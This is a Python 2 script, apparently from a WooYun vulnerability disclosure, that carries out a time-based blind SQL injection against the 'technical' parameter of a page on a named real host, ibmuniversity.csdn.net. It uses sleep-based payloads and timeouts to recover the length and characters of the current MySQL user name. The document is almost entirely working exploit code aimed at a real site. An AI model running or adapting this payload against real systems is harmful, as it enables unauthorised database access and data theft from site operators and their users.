WooYun.org

# -*- coding: utf-8 -*-
#!/usr/bin/env python
#mysql_timebased.py
#version 1.0
import httplib
import urllib
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0'}
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890.@_*%'
def GetUlength():#获取当前用户长度
    userlen = 0
    for i in range(1,99):
        err_count = 0
        for j in range(3):
            try:
                s1 = "length(user())=%s" % i
                s = "(select(0)from(select(sleep(3)))v)/*%27%2b(select(0)from(select(sleep(3)))v)%2b%27%22%2b(select(1)from(select(if("+s1+",sleep(2),0)))v)%2b%22*/"
                url = '/m/zone/ibm/rockstack?search=%e6%90%9c%e7%b4%a2&technical='+s
                #body = "page=20"
                conn = httplib.HTTPConnection('ibmuniversity.csdn.net',timeout=4)
                conn.request(method='GET',headers=headers,url=url)
                conn.getresponse()
                conn.close()
                print '*',
            except:
                err_count +=1
        if err_count == 3:
            userlen = i
            break
    return userlen
def GetUser(l):#获取当前用户名
    user = ''
    for i in range(1,l):
        for payload in payloads:
            err_count = 0
            #print payload
            for j in range(3):
                try:
                    s1 = "ascii(mid(lower(user()),%s,1))=%s" % (i,ord(payload))
                    s = "(select(0)from(select(sleep(3)))v)/*%27%2b(select(0)from(select(sleep(3)))v)%2b%27%22%2b(select(1)from(select(if("+s1+",sleep(2),0)))v)%2b%22*/"
                    url = '/m/zone/ibm/rockstack?search=%e6%90%9c%e7%b4%a2&technical='+s
                    #body = "page=20"
                    conn = httplib.HTTPConnection('ibmuniversity.csdn.net',timeout=4)
                    conn.request(method='GET',headers=headers,url=url)
                    conn.getresponse()
                    conn.close()
                    print '*',
                except:
                    err_count +=1
            if err_count == 3:
                user += payload
                print '\n[info]',user
                break
    return user
                
def main():
    userlen = GetUlength()
    print "user length:\n",userlen
    current_user = GetUser(userlen)
    print "\n CurrentUser is :",current_user
if __name__ == '__main__':
    print 'mysql-timebased-sqlinjection:\n'
    main()